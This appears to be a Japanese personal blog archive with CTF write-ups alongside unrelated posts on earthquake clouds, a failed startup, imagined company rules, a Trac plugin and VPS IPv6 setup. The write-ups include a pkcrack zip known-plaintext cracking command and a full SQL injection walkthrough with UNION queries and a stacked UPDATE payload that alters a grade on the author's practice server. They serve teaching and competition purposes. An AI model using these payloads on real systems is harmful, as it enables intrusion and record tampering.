でも、心配ご無用。なんとこのzipファイル、js/jquery.jsという、みなさんも容易に手に入れることができるファイルが一緒に保管されているのです。zipファイルの暗号は、選択平文攻撃という攻撃に対して脆弱であることが分かっており、実際に暗号化zipを解読するツールもあります。そのひとつが、pkcrackです。

(わたしがビルドしたときは)ちょっと人力パッチを当てる必要がありましたが、こいつを使えば、どんなに長いパスワードが使われていようと、zipの暗号を30秒ほどで解いてしまうことができるのです。

  1. クラックの準備をする zipに対する選択平文攻撃を行うためには、jquery.jsを同じアーカイブ方式、同じファイルシステムでzipに圧縮します。Linuxで zip jquery.zip jquery.jsを実行すれば大丈夫です。Windowsでやると失敗します。
  1. クラックする
    pkcrack -c js/jquery.js -p jquery.js -C lolz.zip -P ~/jquery.zip -d decrypted-lolz.zip
    
  1. 解読されたzipを解凍し、HERE_IS_THE_KEYを読み、キーをsubmitする。

註釈等

*1 本来はAppArmorによって保護されている部分ですが、CTFに供するためにわざと脆弱な設定を施しました。
*2 http://neophob.com/2007/10/ssh-private-key-cracker/


お疲れ様でした。以上が、年越しCTF x86-64.jp大会 2014の全容です。お楽しみいただけましたでしょうか!!

3. 正解者紹介

早着順(敬称略)です。

4. 苦労話、与太話

ここまでくるともう書くのだるいから箇条書きで。

  • .bash_history.zsh_history, ~/.ssh/authorized_keysを消されまくった
    • chattr +iして対処
  • uwsgiがハングした
    • supervisorctl restart allをcronで定期的に実行するようにした
  • /etc/sudoersを問題に盛り込もうとパーミッションを444にしたら、sudo自体が死んだ
    • /etc/sudoers.bakで代用

そんな感じですね。パーミッションがらみでミスってて、先にサーバに到達した参加者に妨害工作を受けたりしました。


ここまでのお付き合い、ありがとうございました。SECCON 2013 全国大会で、そしてtkbctf3で、また会いましょう。

The End

昨日おとといの地震雲騒ぎについて

くりすです。

以下の内容は、




これを長ったらしく言っただけなので、このふたつの発言で納得の行った方は以下の長文を読まなくても結構です。


昨日おとといと空の様子が変で、いたるところで話題になっていました。まず、こちらのサイトをご覧ください。

【速報】雲がヤバイ !!!!! - 暇つぶしニュース http://blog.livedoor.jp/rbkyn844/archives/7001532.html

巨大地震の前兆?生Twitterで見る!ハッシュタグ 地震雲【#地震雲】 - NAVER まとめ http://matome.naver.jp/odai/2136283802008599901


地震雲とは、巨大地震が発生する前兆として現れるといわれる、珍しい雲の俗称です。電磁波が雲を形成することが証明されていることから地中の軋轢によって発生する電磁波(圧電効果)が原因なのではないかという仮説がありますが、いまだに科学的根拠は薄く、オカルトの域を脱していません。

さて、上記のサイトはどちらもこれらの現象を巨大地震の前兆ととらえていますが、わたしは違うと思います。

はじめに、わたしの反論のポイントを列挙します。

  • 写真の中の筋雲が飛行機雲であることが確認できた。
  • 関東・甲信越の広範囲で同様の雲が観測されていた。
  • 月曜日当時、水曜日から天気が崩れるという予報が発表されており、現に水曜日の今日は曇り空になった。

こちらの写真をご覧ください。
これは山中湖交流プラザきらら(35.419N, 138.901E)から、2013年12月16日(月) 15:00:06(JST) に撮影された写真です。一番右に形の崩れた筋雲が、右から2番めにS字カーブをした筋雲がはっきりと写っています。

この2つは飛行機雲であることを確認しました。FlightRadar24を使って、当時の飛行機の運行状況を振り返ってみましょう。
こちらが、2013年12月16日 15:00(JST)の富士山西側の飛行機の運行状況です。JAL1685とCES538に注目してください。
JAL1685は、羽田空港を14:25に出発し、岡山空港に15:50に到着する、ボーイングB738の路線です。FlightRadar24で調べると、この便は15:00頃は 35.29N, 137.82E 周辺を航行しています。そして、その飛行軌跡は富士山山頂の北側をまっすぐ通過していることがわかります。生成から10分ほど経った飛行機雲の崩れ方としては自然でしょう。
続いてS字カーブをしている飛行機雲ですが、こちらはCES538であることが分かりました。CES538は15:00頃には 35.36N, 138.43E 付近を航行しています。こちらの軌跡を確認すると、カーブとこの便の上下方向の動きが一致します。

以上からこの写真の筋雲のうち少なくとも2つは飛行機雲であるといえます。

次に、同様の雲が関東・甲信越の広範囲で観測されたという事実があります。先ほどの富士山の例に加えてつくば市で16日16時半頃にまっすぐな一本の筋雲が観測されたほか、千葉市やはては長野市でも、それぞれ同日の夕方・夜に同様の雲が観測され、Twitterにて写真付きで報告されています(上記のNAVERまとめのリンクを参照のほど)。

地震雲の場合は、過去の報告例によると震源地付近で発生するものであるようです。地中の軋轢が雲の形に影響を及ぼすという仮説が正しければ、軋轢の激しい箇所の真上が最も地震雲の形成が活発であるはずなのですが、半径250kmにわたる広範囲で同じ様子の地震雲が観測されるのは変です。その一方で、広範囲にわたる天気の変化があるとき、その前触れとして現れる雲(後述)が広範囲で観測されるのはうなづけます。

最後に、観天望気といって、雲の出方とその後の天気には関連があると古来から言われております。的中率は一般に高く、今でもとくに海上において、観天望気は重要とされています*1
飛行機雲が長々と引き長時間残る場合や、月に暈がかかったときは天気が下り坂になる確率が高いといいます。これは気温や湿度、気圧などの条件が揃うことで発生する現象です。現に、天気予報のとおり今朝つくば市では曇り空になり、秋葉原では降雪が観測された(12:00現在、ウソ情報でした。なお雪の予報は出ています)ほか、長野市では今夜みぞれになる予報です。


以上が、わたしが昨日おとといの地震雲騒ぎに対する反証です。このまま巨大地震が来なければいいのですが、先日の現象は地震雲ではないと言い切ったところで、防災を怠る理由にはなりません。わたしは昨晩自宅の防災設備を再点検してきました。みなさまもこの先何があろうとも、どうかご無事でお願いします。

*1: 船舶免許の試験で「現代においては天気予報が発達しているため、出航にあたり観天望気の必要はない」ことの正否を問われる問題が出される。正解は×。

13日の金曜日

私の身の回りには、大学を中退、休学、留年をしている人が多い。 きっとそうしない人が大多数を占めるはずなのに、なぜか多い。 そして、そういう人たちはおもしろい。とても、おもしろい。

そこで、彼らに好きなことを書いてもらったものを集めたら、とてもおもしろいのではないかと考え、この「はぐれ学生アドベントカレンダー」を企画するに至りました。 本企画では「はぐれ学生」とは、先にも述べた大学などの学校を中退、休学、留年した方、また、仮面浪人やちょっと変わった進路を選んだ方などを指すことにします。 引用元 はぐれ学生 Advent Calendar 2013


そんなわけで、わたしくりすが、はぐれ学生 Advent Calendar 2013の12月13日ぶんの記事を担当します。Tracブログが若干読みにくいうえにたいへんな長文となりますが、どうか最後までお読みいただけますと幸いです。


まずは身の上話から

わたしについてはトップページおよびREADMEに自己紹介文を載せていますので御覧ください。 わたしは4年生の姿をした2年生です。すなわち留年×2。わたしも例によってへんな学生生活を送っています。2010年度に前期入試で入学したのですが、周囲にはACだと思われています。

ところでACって何のことでしょう?

「AC」は筑波大学公式の用語では「アドミッションセンター」を指し、ここが「AC入試」という特殊な入試を行っています。情報科学類のAC入試は、主に今までに実践してきた「へんなこと」をアピールしに、「自宅の庭でジェットエンジンを作った」だの、「SELinuxをdisった」だのおもしろいネタを持った人たちがたくさん来る入試です。AC入試で入学した人たちは学生間で俗に「AC」、または「アタマ・クレイジー」「アホ・コレクション」などと呼ばれています。

∃筑波大生 ⊃ (AC ∩ 留年)

さて、彼らはこういった感じの曲芸には長けているのですが、なにぶん入試が早く、またいわゆる試験勉強をさほど必要としないので、理系にもかかわらず「数IIICを履修していない」というACたちもいます。そして、入学して即、解析学Iをはじめとする基礎科目群にいじめられるわけです。こういった経緯もありACは擢んでて留年率が高いといわれています。

実はACの留年率が高い理由は「一般に言う勉強ができない」というものはほんの一例にすぎず、実際にACを観察してみますと、起業している方が大勢いるのです。ソフトイーサ社CEOの@dnoboriさん、ゲヒルン社CEOの@isidaiさん、Has-Key社CEOの@opentakaさん、BearTail社CEOの@96kuroxさんなど、技術力、経営力、そして行動力を持ったACたちは起業し、ビジネスのほうに尽力していくのです。彼らが「勉強してる場合じゃねえ!!」とのたまい[要出典]大学生活を擲って産み出したプロダクトが、今この瞬間も世界を動かしています。


お待たせしました。ここからが本題です。ACはビジネスに傾倒するというお話をしましたし、今日は13日の金曜日ですので、以下ではわたしが最初に関わったベンチャービジネスの怖い話をしましょう。

わたしもビジネスに傾倒していた頃があります。あれはわたしがまだ大学の1年生の頃、ほぼちょうど3年前のことでした。(おもむろにサントラが鳴り出す)

2010.12

この頃からわたしが関わるようになった組織*1をM社と呼びましょう。それは、突然のSkypeコンタクト申請から始まりました。プロフィールによると、わたしの3つ上の女性らしい。M社ヘッドハンターの彼女の口車にまんまと乗せられ、組織代表者の男性と京都で会い、夢にあふれるへんな話をしてきました。その後もひたすらにうまい話を聞かさされたり、同じようにして集められてきたウェイ共と一緒に「会議」と称する集会を開いては「俺らはこんなに儲かるぞムッホッホ」みたいな中身の薄い話をしたり、大学を休んでは*2大手銀行やベンチャーキャピタル、代表者の知り合いの企業などを巡って夢を語り、「今日は商談だ」などとその様子をTwitterで実況して自慢している気分に浸ったりしました。なお、いずれも成果を結んだかどうかは、わたしは知り得ませんでした(代表者によると「極秘」らしい)。

2011.05

そうこうしているといつの間にかオフィスが港区某所に爆誕していたのでした。資金調達がうまくいったのかな?と思ったのですが、ほどなくカラクリを知りました。「受託開発」によって資金を錬成するというのです。この頃のわたしはITビジネス童貞を捨てた矢先で、「受託開発」が滅亡の始まりであるとは塵ほども思わなかったのです。むしろ、開発の成功によって与えられる報酬の額に目が眩んでおりました。なんでも、数百万円であったその案件のうち半額を持って行ってよいと、代表者自らが話したのです。それをすっかり信じこんで意気揚々と例の案件に取り組み始めたわけですが、やがてこれは炎上案件へと変貌するのでした。余計な話ですが、この頃には先ほどのヘッドハンターと代表者がデキていたようです(どこでアレしたのか知らんけどその後ほどなくしてデキ婚キメるという荒ぶりっぷり)。

2011.03

と、その前にひとつアヤシイなと思った事件はありました。2011年3月、そう、東日本大震災があったあのときです。すぐに代表者から連絡があったのですが、内容はわたしの安否確認ではなく、サーバの安否確認でした。些細なことに思われますが、人員の心配をしない経営体制というのは、人間をダメにする企業の決定的な特徴です。彼らが大事にするものは商売道具であり、人間ではありません。死にたくなければ、そういう兆候のみられる企業で働いてはいけません。

2011.05.22

炎上案件の話に戻りますが、まず、進捗がない。確かにわたしの不勉強や怠慢(「学業の優先」ともいう)もありましたが、そもそもプロジェクトに危機管理という概念がまるで無かったのが、諸悪の根源でした。大学に入ったばかりのケツの青い学生が何人かいるだけのグループがシステムを製作するということは右往左往するのは火を見るより明らかであるにもかかわらず、プロジェクトが瀕死となってはじめて騒ぎが起こったということです。クライアントの代表者さんは非常に優しいお方でしたが、それでも風当たりが強くなるのが感じられました。
進捗がないのなら錬成するしかないということで、5日間例のオフィスにこもりっぱなしになることも3度ほどあり、たくさんの単位を滅ぼしてしまいました。代表者はわたしが大学を休んでまでオフィスにやってくるのを喜んでいましたが、冷静に考えると変でした。

2011.05.24

さらに、我々の代表者が経営者としての自覚を持っていませんでした。というのも、彼は企業における「経営者責任」をまるで認知していませんでした。これには資金繰りや末端従業員のケツ拭いなどが含まれますが、わたしが上記のようなポカをやらかしたことを報告すると、「オフィス代が払えない」だの、「お前の失敗のせいで俺がオフィス代を払うのか」などとまくしたてられ*3、たいへん気の弱いわたしはオフィス賃料24.3万円を振り込んでしまいました。彼はというと「それがお前の責任の取り方なんだ」となぜか否定的。そうしてほしかったものだと思っていました。

2011.06

ここまでひどい事件が発生しましたし、よくよく考えるとこの実に半年間、一度たりともお金をもらっていませんでした。あちこちで膨れ上がる負債のにおいを感じとって初めて、M社はわたしにとって害悪であることに気づきました。弁護士のもとで働いている友人をはじめとする周囲の人物に相談をもちかけ、たくさん意見を仰ぎました。結局、6月に示談が成立したのちにM社を脱退しましたが、払われた賠償金はわたしの主張の1/3程度(両者合意の2/3)でした。そして、約束を果たさぬままいつの間にかいなくなっていました。

2011.06.09 - Present

その後彼らとは一切の連絡を断って2年半が経ち、今に至ります*4が、たまに噂を聞くに、契約書を作らないなどふざけた経営をしていたそうです。

2011.08

わたしはといいますと、事件が終結した2ヶ月後からずっと個人事業主として、ささやかながら何かをやっております。確定申告がめんどくさいです。今フリーランスとして気の向くままにやっている仕事は、主にベンチャービジネスをターゲットとしていますが、彼らは金のあるところとないところの差が激しいです。とくに生まれたてのベンチャービジネスはお金を持っていません。彼らと仕事をするときは、その報酬が1年くらい入らない覚悟が必要だと思っています。


*1 当時はまだ登記登録されていなかったのでした。以降「M社」と示しますが、わたしが関係のあった期間中は会社ではありませんでした。
*2 中間試験を休んで商談へ向かうというとってもバカ極まりない行為もやらかしました。留年のきっかけとなったのは言うまでもありません。
*3 経営者としておかしいだけでなく、どうも脅迫罪が成立するようです。Skypeのログという証跡もありましたが、後述のように結局示談としました。
*4 この記事を書くにあたって久しぶりにM社ホームページ(なぜか未だにある!!)や関係者のFacebookなどを眺めてみましたが、関係者らはもはやM社に言及することはなく、M社は存在するのかどうか判別できませんでした。


以上が、わたしの大学1~2年生の思い出であり、1回目の留年のきっかけとなったへんな出来事です。わたしの話からみなさんが何でもいいので感じ取っていただければ幸いです。

The End.

第2回tkbctf 問題「The Net」「Police」を作ってみた

EDIT

コード全体を公開しました。ご参考までに。 https://github.com/chris-x86-64/tkbctf2-Police

くりすです。

第2回tkbctfにて、問題「The Net」と、「Police」を担当しました。

The Net
トップ画面右下に「π」の文字がうっすら浮かんでいたのですが、この文字を出現させるCSSはbootstrap.css中に定義されていました。そのCSS中に、コメントの形式でフラグの文字列を設置しておりました。通信データを逐一フィルタしていれば、何も知らなくても発見できていたでしょう。
Police
吉村くん(@_yyu_)が原案のJavaScriptを制作し、わたしがその検査器をPythonで書きました。解き方は彼のブログに載せられる予定になっている[要出典]ので、わたしは裏方のタネ明かしをしたいと思います。問題自体の解法は、彼のブログに記事が上がるのを待ちましょう。用語や関数名なども彼のブログで解説されることを願いたい。

問題「Police」に挑戦してくださったみなさんはきっとお気づきかと思いますが、「validation.py」というPython CGIが、XSS成功時にそのフォームの内容をPOSTで受け取っていました。
これは、バックエンドでユーザが入力したJavaScriptを評価するために、PyV8を用いていたからです。

では、validation.pyの内容(理解を簡単にするために一部簡単にしてあります)を見てみましょう。

#!/usr/bin/env python

import PyV8
import cgi, cgitb

# check JavaScript
class Global(PyV8.JSClass):
        def isYoshimuraYuu(self):
                print "That was great!! The key is ... \"hatsuneMiku39\""

        def notQuiteDone(self):
                print "You need to set the `proceedable` to true!"

def evalJavaScript(post_data):
        try:
                ctxt = PyV8.JSContext(Global())
                ctxt.enter()
                ctxt.eval(open('../public/check.js').read())
                ctxt.eval(open('../private/foo.js').read())
                ctxt.eval('checkSum(' + repr(post_data) + ')')
                ctxt.leave()
        except Exception, e:
                print "Perhaps syntax error? Try again!"
# end JavaScript

# CGI
form = cgi.FieldStorage()

print 'Content-type: text/html'
print
evalJavaScript(form.getvalue('solution'))

# end CGI

ざっくらばんにいうと、皆さんのブラウザにも現れたcheck.jsfoo.js(※サーバ上で動かすための多少の改変あり)をロードし、そのJavaScriptに対して、checkSum(ユーザの入力)を評価するということをしています。
その結果isYoshimuraYuu()が実行されれば勝ちというわけです。isYoshimuraYuu()はPythonで定義されていますが、PyV8を使うことでevalしたJavaScriptから呼び出せるので、こういうことができるのです。
こんな変な名前なのは、参加者のブラウザにロードされる諸JavaScriptと名前の衝突を起こさないようにするためです。

つまるところ、foo.jsで定義されたgiveMeTheFlag()proceedable == trueの状態のときに実行されると、PythonのisYoshimuraYuu()が実行される仕組みになっているわけです。

こんな裏方を作っていました。結局、半数の正解者が別解で解いたため、何度か手動検査をやるはめになったのですが。

軽くメモ

PythonでJavaScriptを評価するのにPyV8を使おうとするも、インストールに苦労した。

easy_install
503を吐いてたので使えなかった
pip
setup.pyがうんこだったので使えなかった
setup.py
setup.pyのextra_link_args = []extra_link_args = ['-lrt']に置き換えることで、 C++のclock_gettime()を呼び出せない問題を解決。リンキングのオプションがタコだった。

ZIPファイルに対するKnown Plaintext Attackについて






あやふみ女史(※男の娘)のコスプレ画像zipがパスワード付きでうpされたらしいです。

さらに、



ここでピンときた。

"Known Plaintext Attack" だ。

Known Plaintext Attack
パスワードを設定して暗号化したPKZIPファイルの中身をある程度知っていると、それをもとにストリームキーを推測してアーカイブ全体を解読できるというもの。

そして、




名指しで腕を試されている。

やるしかないね。

やってみました。


やっぱ記事書くのめんどくさい。やめた。なお解読はできた模様。

ぼくのかんがえたさいきょうのしゃそく

寝付けなかったからひたすらこんなことをとりとめもなく想像していました。
ためになることを書いたつもりはないのでマジレス禁止。

社則

  • ミス、事故、その他トラブルについて叱責禁止。
    • たいていの人間は怒られることを嫌うので、怒られないようにトラブルを隠蔽し、事態が余計に悪化する傾向があるから。
    • 必ず冷静に対処すること。
    • 的確な対処が難しいと感じたら幹部に相談すること。連絡を受けたら、これを拒否したり叱責したりしてはならない。
    • 再発防止策は確定し次第必ず講じること。
    • トラブルの状況、原因、どのように対処したか、再発防止策を詳細にまとめた資料を作り、社内全域でシェアすること。なお、資料中にトラブルの当事者の個人名等は掲載してはならない。
  • 15分ルール――15分間自力で調べても分からなかったことがあれば人に尋ねる。 (出典: Lepidum Co., Ltd.社則)
  • 「ggrks」発言禁止。
  • 業務中は必ず敬語で会話、他方で休憩時間中や喫煙所では(社員なら)どんな相手でも敬語禁止。後始末ができるならケンカを売ってもよい。
    • 業務中は互いの人格や仕事ぶりに敬意を示すべきである。
    • 一方で、休憩時間中は上下関係を一切取り払うことで、上司や役員を「友達」として捉える視点を確保し、互いに尊厳を持った個人であることを再確認する場を設ける (パワハラ防止策)
  • 2回叱ったら3回褒める。
  • 精神論、根性論禁止。
    • 顔が濡れて力が出ないアンパンマンに向かって、ジャムおじさんは「顔が濡れた程度で力が出ないのは甘え。」などと言うはずがない。
  • 残業厳禁。
    • 定時は一日の締め切り。一日の業務は業務時間中に終わらせるべきであり、それを破る行為は皆の大嫌いな遅刻と同類である。
    • 定時退社する者を絶対に蔑視してはいけない。
      • もし残業を強要する者がいれば、社長が責任を持って殴る禁止行為の摘発を行う。
    • 「サービス残業」という呼称は排除し、「違法労働」と言い換える。
      • 考えてみればサービス残業は利益供与行為なので贈与税が発生するかもしれない。
        • 税務署の凸は労基署の凸より恐い。
    • 時間外労働は、緊急性のある場合に限り、早朝のみ認める。なお、早朝とは6:00 AMから8:59:59.999 AMのことである(いずれも日本標準時)。
      • 朝方生活は心身の健康によい。
      • 早い時間は電車が空いていて、しかも終電と違って逃すリスクがない。
      • 行き当たりばったりな残業と違って計画的。
  • エンジニアの意見を優先する
    • 無茶な案件を引き受けてこないように、営業には知識や経験の豊富なエンジニアの代表が同行する。

社内エンターテイメント

  • 毎週金曜日は憩いの日
    • エンジニア向け
      • 探究心の赴くがままに好きなことを研究する日。
        • 知的好奇心の養成はエンジニアの知見を深め、思考の柔軟性を高める効果が見込める。
        • もちろん報酬は出る。
        • 年度末までに成果を論文として発表するとボーナスが増える。
    • プロマネ向け
      • おバカ企画選手権を開催。
        • 普通の企画会議では一蹴されそうなクソアイデアをあえて知恵を絞って出す。
        • そのクソ企画案をさらに全力でファンキーにする。
        • こうして錬成されたアホ極まりない企画を終業時ミーティングでお披露目し、エンジニアにひとしきり爆笑して帰ってもらう。
        • 秀逸な企画はエイプリルフールのネタとして採用したり、会社ページのジョークアーカイブスに掲載する。
      • 笑い(=リラックス)をもたらす、プロマネの自由な思考を促進する、などといった利点が挙げられる。
      • 自分は小学生の頃のほうが今に比べて頭良かった気がするけど何でだろう、と思っていたら、「小学生ならではの巫山戯た発想や常識の無さが、何にも縛られない自由な思考をもたらしたのではないか」という仮説に至ったので思いついた。
  • 社内イタズラ選手権大会を毎日開催。
    • 実害の出ない範疇のクリエイティブなイタズラ行為を奨励する。
      • 笑い死ぬ人が出るのを目標にするとよい。
      • ただしハラスメントは起こさないように注意すること。

思いついたら項目増やす && Wikiに移す。

人間が精神のあり方を変えればすぐ実現できる項目もあるので、金ガー時間ガーといわずにできることからやってみたいものです。

なおわたしは経営はしておりません。以上はすべて空想です。

第1回tkbctf 問題「Are these your grades?」を作ってみた

くりすです。

つい先日の5月4日昼から5日朝まで夜通しで「tkbctf」なるハッキングコンテスト、いわゆるCTFが開催されましたが、わたしはそれに1つミッションを提供しました。

それが、「Are these your grades?」です。

あらゆる情報系ダメ学生の夢である、「学校の成績管理システムをハックして、落第をなかったことにする」というのが目標のミッションです。

それでは、以下ネタバレとなります。


ミッション説明

こんにちは。博麗大学のS.Iと申します。
春休みに入り成績が付いたのですが、どうも線形代数Iの成績が芳しくないのです。これを落とすとたいへんなことになってしまいます。
線形代数にF(落第点)が付いているのですが、これをD(及第点ギリギリ)に書き換えてくださいませんか?
わたしのログイン情報は 13413983:f.scarlet495 なので、ご参考まで。
どうかお力添えをお願いします。

--- このCTFミッションは、WIDEプロジェクト (http://www.wide.ad.jp) 提供のネットワークにて公開しております。所在地: 筑波大学3F棟230号室 産学間連携推進室 ---

想定していた解答

  1. 普通にログインする
  1. Subjects を開くと、URLが index.pl?mode=subjects&subid=LAI というふうになる。この subid がインジェクションポイントである。
    ブラインドインジェクションなので気合ゲー。以下示すSQLクエリの断片は、 subid GETパラメータから注入するSQLインジェクションである。
  1. ' UNION ALL SELECT null, null, null, null, null, @@VERSION #
    
    とかいったふうに順々に null を増やしつつ UNION 攻めをすると、 null を5個投入した後にページにバージョン情報が現れるので、SQLインジェクションが有効と分かる。
    なお、 # はURLに入ってると「同じページのなんか」という意味を持つので、パラメータで送信するときに %23 でエンコードすること。
  1. テーブル名をゲットするために、
    ' UNION ALL SELECT null, null, null, null, null, GROUP_CONCAT(distinct table_schema separator ', ') FROM information_schema.columns #
    
    というSQLインジェクションを発射する。
    GROUP_CONCAT を使うとと1行に全てのrowsが降ってくるので、今回みたいにページに出現するrowは最初の1行だけという場合に都合がよい。←重要
  1. この ctf とかいうデータベースが怪しいので、覗き見る。
    ' UNION ALL SELECT null, null, null, null, null, GROUP_CONCAT(distinct TABLE_NAME separator ', ') FROM information_schema.columns WHERE TABLE_SCHEMA = 'ctf
    
  1. grades, users, subjects というテーブルがあることが分かる。 grades が怪しいので中身を見る。
    ' UNION ALL SELECT null, null, null, null, null, GROUP_CONCAT(distinct COLUMN_NAME separator ', ') FROM information_schema.columns WHERE TABLE_SCHEMA = 'ctf' AND TABLE_NAME = 'grades
    
  1. grades というテーブルの中には、 userid と、 grades_json というカラムが存在していることが分かった。 userid とそれに対応する grades_json を引っ張ってくる。
    ' UNION ALL SELECT null, null, null, null, userid, grades_json FROM grades #
    
  1. grades から引っ張ってきた userid は、既知であるユーザネーム 13413983 とは異なり、なんらかのハッシュになっているので、テーブル users13413983 に対応するハッシュが眠っていないか確かめる。
    ' UNION ALL SELECT null, null, null, null, userid, username FROM users WHERE username = '13413983
    
    Note: ユーザネーム 13413983VARCHAR 型であるので、文字列として取り扱うべきである。根拠は、 users テーブルを覗き見れば、 [email protected] という username のアカウントの存在が分かることから明らか。
  1. userid = 896b3697369ab1ca14612120ded84c68 に対応する grades_json を引っ張ってくる。
    ' UNION ALL SELECT null, null, null, null, userid, grades_json FROM grades WHERE userid = '896b3697369ab1ca14612120ded84c68
    
  1. 引っ張ってきたJSONはこうなっている:
    [{"subject_id":"LAI","cemester":"Last-half 2012","subject":"Linear Algebra I","grade":"F"},{"subject_id":"PHY","cemester":"Last-half 2012","subject":"Physics","grade":"D"},{"subject_id":"CLI","cemester":"Last-half 2012","subject":"Calculus I","grade":"C"},{"subject_id":"PGI","cemester":"Last-half 2012","subject":"Programming I","grade":"A"},{"subject_id":"MON","cemester":"Last-half 2012","subject":"Introduction to Monty Python","grade":"A"},{"subject_id":"SLO","cemester":"Last-half 2012","subject":"Slacking Off","grade":"A"}]
    

↑これを

[{"subject_id":"LAI","cemester":"Last-half 2012","subject":"Linear Algebra I","grade":"D"},中略,{"subject_id":"SLO","cemester":"Last-half 2012","subject":"Slacking Off","grade":"A"}]

↑こうして、

'; UPDATE grades SET grades_json = '[{"subject_id":"LAI","cemester":"Last-half 2012","subject":"Linear Algebra I","grade":"D"},{"subject_id":"PHY","cemester":"Last-half 2012","subject":"Physics","grade":"D"},{"subject_id":"CLI","cemester":"Last-half 2012","subject":"Calculus I","grade":"C"},{"subject_id":"PGI","cemester":"Last-half 2012","subject":"Programming I","grade":"A"},{"subject_id":"MON","cemester":"Last-half 2012","subject":"Introduction to Monty Python","grade":"A"},{"subject_id":"SLO","cemester":"Last-half 2012","subject":"Slacking Off","grade":"A"}]' WHERE userid = '896b3697369ab1ca14612120ded84c68' #

↑このように複文構造で UPDATE 文をインジェクトします。

  1. 最後に、これをURLエンコードして、 subid パラメータに叩きこんで、攻略は完了です。
    http://web400.tkbctf.info/index.pl?mode=subjects&subid=%27%3B%20UPDATE%20grades%20SET%20grades_json%20%3D%20%27%5B%7B%22subject_id%22%3A%22LAI%22%2C%22cemester%22%3A%22Last-half%202012%22%2C%22subject%22%3A%22Linear%20Algebra%20I%22%2C%22grade%22%3A%22D%22%7D%2C%7B%22subject_id%22%3A%22PHY%22%2C%22cemester%22%3A%22Last-half%202012%22%2C%22subject%22%3A%22Physics%22%2C%22grade%22%3A%22D%22%7D%2C%7B%22subject_id%22%3A%22CLI%22%2C%22cemester%22%3A%22Last-half%202012%22%2C%22subject%22%3A%22Calculus%20I%22%2C%22grade%22%3A%22C%22%7D%2C%7B%22subject_id%22%3A%22PGI%22%2C%22cemester%22%3A%22Last-half%202012%22%2C%22subject%22%3A%22Programming%20I%22%2C%22grade%22%3A%22A%22%7D%2C%7B%22subject_id%22%3A%22MON%22%2C%22cemester%22%3A%22Last-half%202012%22%2C%22subject%22%3A%22Introduction%20to%20Monty%20Python%22%2C%22grade%22%3A%22A%22%7D%2C%7B%22subject_id%22%3A%22SLO%22%2C%22cemester%22%3A%22Last-half%202012%22%2C%22subject%22%3A%22Slacking%20Off%22%2C%22grade%22%3A%22A%22%7D%5D%27%E3%80%80WHERE%20userid%20%3D%20%27896b3697369ab1ca14612120ded84c68%27%20%23
    

想定外の解法

いやー実はわたしのミスで、上記のように意図的に盛り込んだSQLインジェクションとは異なるセキュリティホールが存在していたのです。
以下はそれらの説明です。といっても、非常に単純な解法となるので説明はほぼ不要でしょう。

  1. http://web400.tkbctf.info/etc/config.yml に対するアクセス制御が不十分

なんのことはないです。configファイルがwebから閲覧可能な状態になっていたので、ディレクトリを総当り的に漁ったりエラー画面から config.yml という設定ファイルの存在を知ったりすれば到達できます。
この中にスコアを獲得するための重要な情報が含まれていました。

  1. http://web400.tkbctf.info/.git/ に対するアクセス制御が不十分

いやこれはひどかったです。ソースコードもろとも丸見えになってしまいました。
gitを使ってwebサービスの開発管理をするときは、 .git ディレクトリの取扱いに気をつけるべきですね。
最良の対策は、「 .git ディレクトリが DocumentRoot 内に存在しないようにする」ことではないでしょうか。
今回のこのミスを通して自分もまたひとつおもしろいことが学べたので、このCTFに出題してよかったと思いました。


正解者に万雷の拍手を

早着順です。(敬称略)

付録

次のGitHubリポジトリにて、本問題のソースコードを公開する予定です。
まだREADMEが完成していないため未公開ですが、できれば本日中に公開しますので、興味がありましたらご覧ください。

tkbctf1 - Are these your grades?

みなさま、お疲れ様でした!!

BlogDraftPluginを導入しました

またもやアウトプットが滞っているくりすです。

先ほど、TracFullBlogに下書き機能は無いのかなと思って調べてみたところ、FullBlogPlugin 公式サイトBlogDraftPlugin.pyというものがちらっと言及されているのを見つけました。
ところが本当にちらっとなんです。なんでも「サンプルプラグイン」という扱いで、ものすごく簡易な説明がソースコード内に埋め込まれてるくらいのドキュメンテーションです。(サイトあんぞコラという場合は@x86_64までお伝えください)

導入はいたって簡単でした。

  1. ソースコードを引っ張ってきます。
    $ cd your_trac_dir/plugins
    $ wget http://trac-hacks.org/svn/fullblogplugin/0.11/sample-plugins/BlogDraftPlugin.py
    
  1. trac.iniを以下のように編集して、BlogDraftPluginに対応させます。
    [components]のセクション:
    +++ blogdraftplugin.* = enabled
    
    [trac]のセクション:
    --- permission_policies = DefaultPermissionPolicy, LegacyAttachmentPolicy
    +++ permission_policies = BlogDraftPlugin, DefaultPermissionPolicy, LegacyAttachmentPolicy ; Defaultよりも先である必要があります
    
    [fullblog]のセクション:
    +++ draft_category = draft, Draft ; "draft"でなくても、例えば"shitagaki"でもOKです
    
  1. サービス系を再起動します。
    # service uwsgi restart
    # service nginx restart
    

こうすると、trac.iniのdraft_categoryで定めたカテゴリ名を投稿に含めると、それは下書きとなり、当初の投稿者(ログイン状態)以外は閲覧や編集ができなくなります。

長文を書いていたりブログを書いてる途中で眠くなったりしたときに使えますね。

Wikiにも下書き機能ないのかなぁ。

さくらのVPSでIPv6 (6rd)

まえがき

とあるサーバをアップグレードしたいと思い、 さくらのVPS(v3) SSD 1G IK01 を仮契約してしまいました。レビューについてはまた後ほど書きたいと思います。

ほんだい

さて、さくらインターネットでは6rdを用いて、サーバにグローバルIPv6アドレスを割り当てる実験を行なっており、VPSや専用サーバなどエンドユーザがroot権限を持っているサーバならば使用できます。

なにした

さくらインターネットのサイトに6rd設定方法は載っているので詳しいセットアップ方法は割愛します。
IPアドレスの打ち間違いに気をつけましょう。それでしばらく行き詰っていました。

どうなった

つながったかどうかを判定するのに、一旦サーバにSSHで接続し、そこからわたしがひいきにしている筑波大学 WORD編集部のサイトをwgetしてみました。

コマンドおよび出力:

chris@new-server:~$ wget -O /dev/null -6 www.word-ac.net
--2013-03-16 07:10:54--  http://www.word-ac.net/
Resolving www.word-ac.net (www.word-ac.net)... 2001:200:0:7c06:0:ac:3c:212
Connecting to www.word-ac.net (www.word-ac.net)|2001:200:0:7c06:0:ac:3c:212|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: unspecified [text/html]
Saving to: `/dev/null'

    [ <=>                                   ] 40,059       246K/s   in 0.2s    

2013-03-16 07:10:55 (246 KB/s) - `/dev/null' saved [40059]

そして、ローカルから新サーバにping:

[~]$ ping6 2001:e41:123:abcd::1341:398                   chris@ubuntu-vm 07:20:37
PING 2001:e41:123:abcd::1341:398(2001:e41:123:abcd::1341:398) 56 data bytes
